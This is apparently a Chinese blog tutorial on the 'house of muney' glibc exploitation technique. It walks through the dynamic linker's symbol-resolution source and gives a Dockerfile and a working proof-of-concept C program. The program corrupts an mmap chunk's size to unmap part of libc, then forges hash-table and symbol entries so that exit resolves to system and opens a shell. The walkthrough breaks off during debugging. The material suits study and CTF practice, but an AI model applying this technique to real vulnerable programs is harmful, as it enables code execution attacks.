前置知识

  • 需要了解elf文件结构,以及Linux延迟绑定技术,还有就是在延迟绑定的时候dl_runtime_resolve到底干了什么。
  • 接下来还要知道一点就是,当ptmalloc堆管理器在分配超大内存>128K的时候,会使用mmap这个系统调用向操作系统申请内存,而此内存一般位于libc.so.6相邻的低地址处。
  • 由于在libc.so.6低地址处,所以如果我们能修改该堆块的size位,使其包括了libc.so.6的内存地址,这样我们再释放该空间的时候就会连同libc.so.6的内存也给释放了。当我们将这块内存申请回来的时候就可以对libc.so.6的符号表、哈希表等进行修改,并且伪造一些表或者结构体,从而在进行延迟绑定时,调用ld_runtime_resolve解析函数地址并写入got表的时候会写入我们指定的函数。从而达到利用。这就是house of muney的利用思想。

相关结构体

  • 注:strtabgnu_hashJMPREL Relocation Table,其实并不是结构体,而都是一个Section
1
2
3
4
5
6
7
struct link_map
{
ElfW(Addr) l_addr; // 需要链接库的基地址
char *l_name; // 文件路径名称例如libc.so.6 或者./a.out
ElfW(Dyn) *l_ld; // 是当前ELF文件的.dynamic段内存地址
struct link_map *l_next, *l_prev;
};

Elf64_Dyn结构体

1
2
3
4
5
6
7
8
9
10
typedef struct
{
Elf64_Sxword d_tag; // 条目类型
union
{
Elf64_Xword d_val; // 整数值
Elf64_Addr d_ptr; // 地址值,比如表的地址偏移
} d_un;
} Elf64_Dyn;

Elf64_Rela结构体

1
2
3
4
5
6
typedef struct
{
Elf64_Addr r_offset; /* 存储着对应函数got表的地址*/
Elf64_Xword r_info; /* 重定位类型和符号表索引*/
Elf64_Sxword r_addend; /* 附加值 */
} Elf64_Rela;

Elf64_Sym结构体

1
2
3
4
5
6
7
8
typedef struct {
Elf64_Word st_name; // 符号名称在字符串表中的偏移
unsigned char st_info; // 符号类型 & 符号绑定(压缩在一个字节中)
unsigned char st_other; // 保留字段(通常为 0)
Elf64_Half st_shndx; // 该符号所在的节(section index)
Elf64_Addr st_value; // 符号地址(如函数或变量地址)
Elf64_Xword st_size; // 符号大小(如函数长度或变量大小)
} Elf64_Sym;

相关段

  • 这里主要是符号解析过程相关的section
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Elf64_Ehdr  			
Elf64_Phdr
Sections
.null
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic //相关
.got
.got.plt
.data
.bss
.comment
//如果是使用-g模式编译,程序会有.debug的一些sections,在.comment和.symtab之间
.symtab //相关
.strtab //相关
.shstrtab
.dynstr
.dynsym
.gnu.hash //相关
.note.ABI-tag
.note.gnu.build-id
.note.gnu.property
.interp // 指向解释器路径 /lib64/ld-linux.so.2
Elf64_Shdr // ELF节头表Section Headers

符号解析

  • ret2dlreolve的时候有大致了解了一下符号解析的过程(主要是了解)_dl_fixup函数中对伪造符号表比较重要的过程,并没有很详细的了解符号解析的过程,在进行house-of-muney之前,再详细介绍一下符号解析的过程。

  • 整个符号解析的过程其实就是在调用_dl_runtime_resolve开始的。所以我们先来查看一下_dl_runtime_resolve,示例程序可以使用ret2dlreolve这个程序进行调试。

  • 下面是_dl_runtime_resolve具体调用过程:

1
2
3
4
_dl_runtime_resolve
└───► _dl_fixup
└───►_dl_lookup_symbol_x
└───► do_lookup_x

_dl_runtime_resolve

  • 对于该函数并没有什么特别的,最重要的其实就是在该函数调用的时候会调用_dl_fixup_dl_runtime_resolve的作用直接看汇编会更好理解
  • 下面放出该函数的汇编形式,_dl_runtime_resolve主要就是干了这么几件事情:
    • 调整栈帧,保存寄存器相应的值
    • 将之前push的俩个参数值传递给rdi、rsi并调用_dl_fixup
    • 调用完_dl_fixup会将其返回值(rax寄存器保存的值)给r11寄存器
    • 恢复寄存器,恢复栈帧,最后jmp r11调用该函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
endbr64
push rbx
mov rbx, rsp
and rsp, 0xffffffffffffffc0
sub rsp, qword ptr [rip + 0x14b35] ; 调整栈帧


mov qword ptr [rsp], rax
mov qword ptr [rsp + 8], rcx
mov qword ptr [rsp + 0x10], rdx
mov qword ptr [rsp + 0x18], rsi
mov qword ptr [rsp + 0x20], rdi
mov qword ptr [rsp + 0x28], r8
mov qword ptr [rsp + 0x30], r9 ; 保存寄存器的值


mov eax, 0xee
xor edx, edx
mov qword ptr [rsp + 0x250], rdx
mov qword ptr [rsp + 0x258], rdx
mov qword ptr [rsp + 0x260], rdx
mov qword ptr [rsp + 0x268], rdx
mov qword ptr [rsp + 0x270], rdx
mov qword ptr [rsp + 0x278], rdx
xsavec ptr [rsp + 0x40] ; 压缩保存拓展寄存器的状态,拓展寄存器有XMM寄存器,YMM寄存器,ZMM寄存器还有xstate_bv状态位图,保存到[rsp+0x40]这个地址中


mov rsi, qword ptr [rbx + 0x10] ; 传入俩个参数作为调用_dl_fixup的函数
mov rdi, qword ptr [rbx + 8]
call _dl_fixup ; 调用_dl_fixup,进行符号解析,返回的是libc中对应函数的真实地址
mov r11, rax ; 将地址给r11

mov eax, 0xee
xor edx, edx
xrstor ptr [rsp + 0x40] ; 取出前面拓展状态寄存器的值

mov r9, qword ptr [rsp + 0x30]
mov r8, qword ptr [rsp + 0x28]
mov rdi, qword ptr [rsp + 0x20]
mov rsi, qword ptr [rsp + 0x18]
mov rdx, qword ptr [rsp + 0x10]
mov rcx, qword ptr [rsp + 8]
mov rax, qword ptr [rsp] ; 恢复寄存器的值,作为后面调用函数的参数

mov rsp, rbx
mov rbx, qword ptr [rsp]
add rsp, 0x18 ; 恢复栈帧
bnd jmp r11 ; 调用函数,比如之前我们调用read@plt表,此时jmp r11就会执行libc中的read()函数

_dl_fixup

  • 接下来在/glibc/elf/dl-runtime.c文件中找到_dl_fixup源码,源码位置如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
// 上面定义的是_dl_fixup函数相关的参数,主要就是struct link_map *l, ElfW(Word) reloc_arg这俩个参数
{
// 获取sym表和str表--->位于程序ELF文件中
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

// 取JMPREL Relocation表----->位于程序ELF文件中
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

// 取JMPREL Relocation表中的其中一个符号表并获取r_info字段的高32位作为索引,实际上取的是sym的结构体
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;

// 计算重定位项的实际地址即在内存中的位置
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* 做个基本检查,确认我们确实是在查看一个 PLT 重定位. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* 查找目标符号。如果没有使用正常的查找规则,就不要在全局作用域中查找。 */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
// 解析出.gnu.version表的指针,包含每个符号对应的版本号
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);

// 取出版本号
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];

// 如果版本号hash为0,就表示版本启用version设置为0
if (version->hash == 0)
version = NULL;
}

/* 我们需要保留当前作用域,因此要进行一些加锁操作。
对于不能被卸载的对象,或者当前还未使用任何线程的情况,
则无需进行加锁 */
// 加上一个锁
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif

// 调用_dl_lookup_symbol_x,根据符号名,在指定作用域中查找该符号,并返回其地址,同时更新符号信息。
// result一般情况就是程序的地址了
// 第一个参数是字符串地址,根据符号表和字符串表得到地址,指向的是函数名称:如read、write
// 第二个参数是link_map结构体指针
// 第三个参数是指向符号表指针的地址
// 第四个参数是scope,表示查找的范围
// 第五个参数是版本信息
// 后面的参数都是固定的
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* 我们已经处理完全局作用域. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* 当前,result 中保存的是定义 sym 符号的对象的基址(或其 link map)。
现在我们要加上符号在该对象中的偏移量。. */
value = DL_FIXUP_MAKE_VALUE (result,
SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* 我们已经找到了这个符号。它所在的模块(因此它的加载地址)也已经确定。 */
value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}

/* 现在可能还需要加上重定位的附加项(addend) */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* 最后,修正 PLT 本身。 */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

_dl_lookup_symbol_x

  • 该函数在glibc/elf/dl-lookup.c中出现,这个函数稍微理解一下全过程就行,重点是下面一个函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
/* 在已加载对象的符号表中搜索符号 UNDEF_NAME 的定义,可能还会指定所需的符号版本。
这个函数及其调用的所有函数中绝对不能出现对审计(audit)函数的调用。因为审计代码可能会创建线程,从而干扰所有作用域的锁定机制。 */
// 第一个参数是字符串地址,根据符号表和字符串表得到地址,指向的是函数名称:如read、write
// 第二个参数是link_map结构体指针
// 第三个参数是指向符号表指针的地址
// 第四个参数是scope,表示查找的范围
// 第五个参数是版本信息
// 后面的参数都是固定的
lookup_t
_dl_lookup_symbol_x (const char *undef_name, struct link_map *undef_map,
const ElfW(Sym) **ref,
struct r_scope_elem *symbol_scope[],
const struct r_found_version *version,
int type_class, int flags, struct link_map *skip_map)
{
//调用 dl_new_hash函数计算传过来的字符串的哈希值
const uint_fast32_t new_hash = dl_new_hash (undef_name);
unsigned long int old_hash = 0xffffffff;
struct sym_val current_value = { NULL, NULL };
struct r_scope_elem **scope = symbol_scope;

bump_num_relocations ();

/* DL_LOOKUP_RETURN_NEWEST 对于带版本控制的查找来说没有意义. */
assert (version == NULL || !(flags & DL_LOOKUP_RETURN_NEWEST));

size_t i = 0;
if (__glibc_unlikely (skip_map != NULL))
/* 在相关的已加载对象中搜索符号的定义。 */
while ((*scope)->r_list[i] != skip_map)
++i;

/* 在相关的已加载对象中查找符号的定义. */
for (size_t start = i; *scope != NULL; start = 0, ++scope)
if (do_lookup_x (undef_name, new_hash, &old_hash, *ref,
&current_value, *scope, start, version, flags,
skip_map, type_class, undef_map) != 0)// 调用do_lookup_x判断这些库中是否存在要绑定的字符串,找到了就跳出循环
break;

// 当找不到强符号引用的值,就会抛出错误
if (__glibc_unlikely (current_value.s == NULL))
{
if ((*ref == NULL || ELFW(ST_BIND) ((*ref)->st_info) != STB_WEAK)
&& !(GLRO(dl_debug_mask) & DL_DEBUG_UNUSED))
{
/* 我们无法找到强符号引用的值。. */
const char *reference_name = undef_map ? undef_map->l_name : "";
const char *versionstr = version ? ", version " : "";
const char *versionname = (version && version->name
? version->name : "");
struct dl_exception exception;
/* XXX 我们不能翻译这消息. */
_dl_exception_create_format
(&exception, DSO_FILENAME (reference_name),
"undefined symbol: %s%s%s",
undef_name, versionstr, versionname);
_dl_signal_cexception (0, &exception, N_("symbol lookup error"));
_dl_exception_free (&exception);
}
*ref = NULL;
return 0;
}

// 处理具有 STV_PROTECTED(受保护可见性) 的符号引用,在不同类型的重定位(如函数调用、变量访问)中确保返回正确的地址。
int protected = (*ref
&& ELFW(ST_VISIBILITY) ((*ref)->st_other) == STV_PROTECTED);
if (__glibc_unlikely (protected != 0))
{
/* 这非常棘手。我们需要弄清楚对于这个受保护符号(protected symbol)应该返回什么值. */
if (type_class == ELF_RTYPE_CLASS_PLT)
{
if (current_value.s != NULL && current_value.m != undef_map)
{
current_value.s = *ref;
current_value.m = undef_map;
}
}
else
{
struct sym_val protected_value = { NULL, NULL };

for (scope = symbol_scope; *scope != NULL; i = 0, ++scope)
if (do_lookup_x (undef_name, new_hash, &old_hash, *ref,
&protected_value, *scope, i, version, flags,
skip_map,
(ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA
&& ELFW(ST_TYPE) ((*ref)->st_info) == STT_OBJECT
&& type_class == ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA)
? ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA
: ELF_RTYPE_CLASS_PLT, NULL) != 0)
break;

if (protected_value.s != NULL && protected_value.m != undef_map)
{
current_value.s = *ref;
current_value.m = undef_map;
}
}
}

/*我们必须检查这是否会将 UNDEF_MAP 绑定到一个在全局作用域中动态加载的对象。如果是这样的话,我们必须防止后者被卸载,除非 UNDEF_MAP 对应的对象也被卸载 */
// 确保绑定过后,符号所在的.so不会被卸载,设置引用标记防止垃圾回收,将符号地址写入到*ref中
if (__glibc_unlikely (current_value.m->l_type == lt_loaded)
/* Don't do this for explicit lookups as opposed to implicit
runtime lookups. */
&& (flags & DL_LOOKUP_ADD_DEPENDENCY) != 0
/* Add UNDEF_MAP to the dependencies. */
&& add_dependency (undef_map, current_value.m, flags) < 0)
/* Something went wrong. Perhaps the object we tried to reference
was just removed. Try finding another definition. */
return _dl_lookup_symbol_x (undef_name, undef_map, ref,
(flags & DL_LOOKUP_GSCOPE_LOCK)
? undef_map->l_scope : symbol_scope,
version, type_class, flags, skip_map);

/* The object is used. */
if (__glibc_unlikely (current_value.m->l_used == 0))
current_value.m->l_used = 1;

if (__glibc_unlikely (GLRO(dl_debug_mask)
& (DL_DEBUG_BINDINGS|DL_DEBUG_PRELINK)))
_dl_debug_bindings (undef_name, undef_map, ref,
&current_value, version, type_class, protected);

*ref = current_value.s;
return LOOKUP_VALUE (current_value.m);
}

do_lookup_x(*重要)

  • 该函数也是在glibc/elf/dl-lookup.c中出现,这个函数是house-of-muney核心利用过程,我们伪造的结构体就是在这个函数中被使用的。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
static int
__attribute_noinline__
do_lookup_x (const char *undef_name, uint_fast32_t new_hash,
unsigned long int *old_hash, const ElfW(Sym) *ref,
struct sym_val *result, struct r_scope_elem *scope, size_t i,
const struct r_found_version *const version, int flags,
struct link_map *skip, int type_class, struct link_map *undef_map)
{
size_t n = scope->r_nlist;
/* Make sure we read the value before proceeding. Otherwise we
might use r_list pointing to the initial scope and r_nlist being
the value after a resize. That is the only path in dl-open.c not
protected by GSCOPE. A read barrier here might be to expensive. */
__asm volatile ("" : "+r" (n), "+m" (scope->r_list));
struct link_map **list = scope->r_list;

do
{
const struct link_map *map = list[i]->l_real;

/* Here come the extra test needed for `_dl_lookup_symbol_skip'. */
if (map == skip)
continue;

/* Don't search the executable when resolving a copy reloc. */
if ((type_class & ELF_RTYPE_CLASS_COPY) && map->l_type == lt_executable)
continue;

/* Do not look into objects which are going to be removed. */
if (map->l_removed)
continue;

/* Print some debugging info if wanted. */
if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_SYMBOLS))
_dl_debug_printf ("symbol=%s; lookup in file=%s [%lu]\n",
undef_name, DSO_FILENAME (map->l_name),
map->l_ns);

/* If the hash table is empty there is nothing to do here. */
if (map->l_nbuckets == 0)
continue;

Elf_Symndx symidx;
int num_versions = 0;
const ElfW(Sym) *versioned_sym = NULL;

/* The tables for this map. */
// 在当前的link_map中找到符号表和字符串表
const ElfW(Sym) *symtab = (const void *) D_PTR (map, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (map, l_info[DT_STRTAB]);

const ElfW(Sym) *sym;
// 获取bitmask
const ElfW(Addr) *bitmask = map->l_gnu_bitmask;

if (__glibc_likely (bitmask != NULL))
{
----------------------------------------------------------------------------//关键语句
// 获取bitmask_word,这里需要伪造
ElfW(Addr) bitmask_word
= bitmask[(new_hash / __ELF_NATIVE_CLASS)
& map->l_gnu_bitmask_idxbits];
----------------------------------------------------------------------------//关键语句
unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift)
& (__ELF_NATIVE_CLASS - 1));

if (__glibc_unlikely ((bitmask_word >> hashbit1)
& (bitmask_word >> hashbit2) & 1))
{
----------------------------------------------------------------------------//关键语句
// 获取bucket,这里需要伪造
Elf32_Word bucket = map->l_gnu_buckets[new_hash
% map->l_nbuckets];
----------------------------------------------------------------------------//关键语句
if (bucket != 0)
{
// hasharr,这里也需要伪造对应的值
const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket]; // 关键语句
do
if (((*hasharr ^ new_hash) >> 1) == 0) // 关键语句
{
symidx = ELF_MACHINE_HASH_SYMIDX (map, hasharr);
sym = check_match (undef_name, ref, version, flags,
type_class, &symtab[symidx], symidx,
strtab, map, &versioned_sym,
&num_versions);
if (sym != NULL)
goto found_it;
}
while ((*hasharr++ & 1u) == 0);
}
}
/* No symbol found. */
symidx = SHN_UNDEF;
}
else
{
if (*old_hash == 0xffffffff)
*old_hash = _dl_elf_hash (undef_name);

/* Use the old SysV-style hash table. Search the appropriate
hash bucket in this object's symbol table for a definition
for the same symbol name. */
for (symidx = map->l_buckets[*old_hash % map->l_nbuckets];
symidx != STN_UNDEF;
symidx = map->l_chain[symidx])
{
sym = check_match (undef_name, ref, version, flags,
type_class, &symtab[symidx], symidx,
strtab, map, &versioned_sym,
&num_versions);
if (sym != NULL)
goto found_it;
}
}

/* If we have seen exactly one versioned symbol while we are
looking for an unversioned symbol and the version is not the
default version we still accept this symbol since there are
no possible ambiguities. */
sym = num_versions == 1 ? versioned_sym : NULL;

if (sym != NULL)
{
found_it:
/* When UNDEF_MAP is NULL, which indicates we are called from
do_lookup_x on relocation against protected data, we skip
the data definion in the executable from copy reloc. */
if (ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA
&& undef_map == NULL
&& map->l_type == lt_executable
&& type_class == ELF_RTYPE_CLASS_EXTERN_PROTECTED_DATA)
{
const ElfW(Sym) *s;
unsigned int i;

#if ! ELF_MACHINE_NO_RELA
if (map->l_info[DT_RELA] != NULL
&& map->l_info[DT_RELASZ] != NULL
&& map->l_info[DT_RELASZ]->d_un.d_val != 0)
{
const ElfW(Rela) *rela
= (const ElfW(Rela) *) D_PTR (map, l_info[DT_RELA]);
unsigned int rela_count
= map->l_info[DT_RELASZ]->d_un.d_val / sizeof (*rela);

for (i = 0; i < rela_count; i++, rela++)
if (elf_machine_type_class (ELFW(R_TYPE) (rela->r_info))
== ELF_RTYPE_CLASS_COPY)
{
s = &symtab[ELFW(R_SYM) (rela->r_info)];
if (!strcmp (strtab + s->st_name, undef_name))
goto skip;
}
}
#endif
#if ! ELF_MACHINE_NO_REL
if (map->l_info[DT_REL] != NULL
&& map->l_info[DT_RELSZ] != NULL
&& map->l_info[DT_RELSZ]->d_un.d_val != 0)
{
const ElfW(Rel) *rel
= (const ElfW(Rel) *) D_PTR (map, l_info[DT_REL]);
unsigned int rel_count
= map->l_info[DT_RELSZ]->d_un.d_val / sizeof (*rel);

for (i = 0; i < rel_count; i++, rel++)
if (elf_machine_type_class (ELFW(R_TYPE) (rel->r_info))
== ELF_RTYPE_CLASS_COPY)
{
s = &symtab[ELFW(R_SYM) (rel->r_info)];
if (!strcmp (strtab + s->st_name, undef_name))
goto skip;
}
}
#endif
}

/* Hidden and internal symbols are local, ignore them. */
if (__glibc_unlikely (dl_symbol_visibility_binds_local_p (sym)))
goto skip;

switch (ELFW(ST_BIND) (sym->st_info))
{
case STB_WEAK:
/* Weak definition. Use this value if we don't find another. */
if (__glibc_unlikely (GLRO(dl_dynamic_weak)))
{
if (! result->s)
{
result->s = sym;
result->m = (struct link_map *) map;
}
break;
}
/* FALLTHROUGH */
case STB_GLOBAL:
/* Global definition. Just what we need. */
result->s = sym;
result->m = (struct link_map *) map;
return 1;

case STB_GNU_UNIQUE:;
do_lookup_unique (undef_name, new_hash, (struct link_map *) map,
result, type_class, sym, strtab, ref,
undef_map, flags);
return 1;

default:
/* Local symbols are ignored. */
break;
}
}

skip:
;
}
while (++i < n);

/* We have not found anything until now. */
return 0;
}

  • 符号解析的过程总结:

  • 需要伪造的值如下:

    • bitmask_word:字符串哈希和掩码进行与运算的结果
    • bucket
    • hasharr:看文章说需要多伪造几个
    • 修改目标结构体Elf64_Sym中st_value成员,符号表中,除了st_value修改为目标地址外,其他成员保持不变(劫持地址,上面三个都是伪造值)

环境

  • house-of-muney环境还真是难搞,搞了将近一个下午了,记录一下,这里找到了一个更详细的poc。house-of-muneypoc只有特定libc版本的,所以就去搞了一下Docker。在Docker里面编译。瞎折腾半天QAQ到晚上才发现并不是环境问题,而是我编译的时候没有选用延迟绑定命令QAQ

  • 首先先要下载对应的libc文件,去到ubuntu官网下载2.31-0ubuntu9.9 : libc6 : amd64 : Focal (20.04) : Ubuntu

image-20250713181508531

  • 然后再下载另外俩个工具链,点击如下,再下载俩个工具链

image-20250713181558247

image-20250713181703094

  • 之后编写如下dockerfile,使用docker bulit .命令创建Docker镜像
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
FROM ubuntu:20.04

# 将本地 .deb 包拷入容器(你需要在构建目录下有这些文件)
COPY ./libc6_2.31-0ubuntu9.9_amd64.deb /tmp/
COPY ./libc6-dev_2.31-0ubuntu9.9_amd64.deb /tmp/
COPY ./libc-dev-bin_2.31-0ubuntu9.9_amd64.deb /tmp/

RUN apt-get update && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
libgcc-s1 \
linux-libc-dev \
libcrypt-dev && \
dpkg -i /tmp/libc6_2.31-0ubuntu9.9_amd64.deb && \
dpkg -i /tmp/libc-dev-bin_2.31-0ubuntu9.9_amd64.deb && \
dpkg -i /tmp/libc6-dev_2.31-0ubuntu9.9_amd64.deb && \
rm -rf /var/lib/apt/lists/* /tmp/*.deb
  • 创建完后使用docker run 命令用该镜像创建一个容器。这时候访问libc即可确定libc.so.69.9版本的

image-20250713182110529

  • 接下来我们要使用该容器编译如下poc(实验二中的实验代码),首先我们先要更新包,然后安装gccvim
1
2
3
4
apt-get update
# 注意千万不能输入apt-get upgrade,输入该命令后libc会更新成新的版本
apt-get install gcc
apt-get install vim
  • 接下来使用vim将代码写入到lab1.c文件中

image-20250713182557175

  • 使用gcc编译,编译时需要使用该命令gcc -Wl,-z,lazy -g -o lab1 lab1.c,编译后运行后能getshell

image-20250713182822613

实验

  • 找了好多篇文章,都是使用glibc2.31做的实验,因为glibc2.31的实验比较适合初学者学习house-of-muney的利用。有一下几点原因,在这篇博客都有写House of Muney | Axura,所以实验环境搞的有点头大QAQ

glibc2.31

  • 通过mmap申请到的chunk,这些chunk会紧挨着libc加载区的起始位置。如果能控制这些chunk的内容,就可以覆盖libc中的.gnu.hash.dynsym或者link_map

glibc2.34

  • 一个匿名内存映射的区域[anon] region(0x1000)大小左右被插入在mmap分配的内存和libc基址之间,这就对libc起到一定的保护作用
  • 但是仍然可以通过调用munmap()释放该区域,然后重新映射这块地址,这样就可以继续造成堆重叠。

glibc2.35及之后

  • libc映射区域的前面,有意插入了一个大小为3页(0x3000字节)的保护页
  • 当调用munmap()将一个mmap分配的大块回收给系统时,释放的那块内存很可能还会被再次访问,即free()->munmap_chunk()->__munmap()
  • 通过munmap()释放内存可能会发生段错误,但是这个段错误并不是发生在__munmap()函数的内部,而是发生在返回到free()的过程中,这是因为glibc在返回时尝试访问线程局部存储(TLS),例如通过基于fs寄存器的指针,而这些指针此时已经指向munmap()掉的内存区域
  • 一旦你试图对这些区域执行munmmap(),就会导致段错误

实验一

  • 这个是roderick发表在博客上的poc源码,编译需要开启延迟绑定:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// gcc -Wl,-z,lazy -g -o lab1 lab1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>

void main()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
char *strptr = mmap(0xdeadb000, 0x1000, 6, 0x22, -1, 0);
strcpy(strptr, "/bin/sh");

puts("[*] step1: allocate a chunk ---> void* ptr = malloc(0x40000);");
size_t *ptr = (size_t *)malloc(0x40000);

size_t sz = ptr[-1];
printf("[*] ptr address: %p, chunk size: %p\n", ptr, (void *)sz);

puts("[*] step2: change the size of the chunk ---> ptr[-1] += 0x5000;");
ptr[-1] += 0x5000;

puts("[*] step3: free ptr and steal heap from glibc ---> free(ptr);");
free(ptr);

puts("[*] step4: retrieve heap ---> ptr = malloc(0x41000 * 2);");
ptr = malloc(0x41000 * 2);

sz = ptr[-1];
printf("[*] ptr address: %p, chunk size: %p\n", ptr, (void *)sz);

// 当前ptr到原有libc基地址的偏移
size_t base_off = 0x7dff0;
// 以下地址均是相对于libc基地址的偏移
size_t system_off = 0x52290;
size_t bitmask_word_off = 0xb88;
size_t bucket_off = 0xcb0;
size_t exit_sym_st_value_off = 0x4d20;
size_t hasharr_off = 0x1d7c;

puts("[*] step5: set essential data for dl_runtime_resolve");

*(size_t *)((char *)ptr + base_off + bitmask_word_off) = 0xf000028c0200130eul;
puts("[*] set bitmask_word to 0xf000028c0200130eul");

*(unsigned int *)((char *)ptr + base_off + bucket_off) = 0x86u;
puts("[*] set bucket to 0x86u");

*(size_t *)((char *)ptr + base_off + exit_sym_st_value_off) = system_off;
puts("[*] set exit@sym.st_value to system_off 0x52290");

*(size_t *)((char *)ptr + base_off + exit_sym_st_value_off - 8) = 0xf001200002efbul;
puts("[*] set other exit@sym members");

*(size_t *)((char *)ptr + base_off + hasharr_off) = 0x7c967e3e7c93f2a0ul;
puts("[*] set hasharr to 0x7c967e3e7c93f2a0ul");

puts("[*] step6: get shell ---> exit(\"/bin/sh\")");
exit(strptr);
}
  • 接下来就进行调试操作,首先是一个初始化操作,并且将/bin/sh字符串给复制到地址0xdeadb000中去。

image-20250715141821093

  • 接下来我们申请一个堆块,这个堆块的大小为0x40000,而申请的这个堆块并不是在正常堆块区域,而是与libc.so在内存的位置相邻。

image-20250715142058322

image-20250715142923247

  • 接下来就是修改size位,使其能覆盖到libc.so.6的内存地址,将原来的0x41000修改为0x46000(不包含标志位)

image-20250715142932387

  • 然后释放该堆块,释放后内存被操作系统回收,此时我们是没办法查看内存具体的值。

image-20250715143153963

  • 接下来再申请一个堆块,其大小为 0x82000,申请后看看会发生什么:
    • 发现通过mmap申请的还是在libc低地址处,并且长度变成了0x83000
    • 并且还发现libc的其实地址与原来的不一样了,但是我们会发现0x7f9cf584e000+0x5000=0x7f9cf5853000,也就是说libc的符号表的位置被取消了内存映射

image-20250715143428224

image-20250715144252232

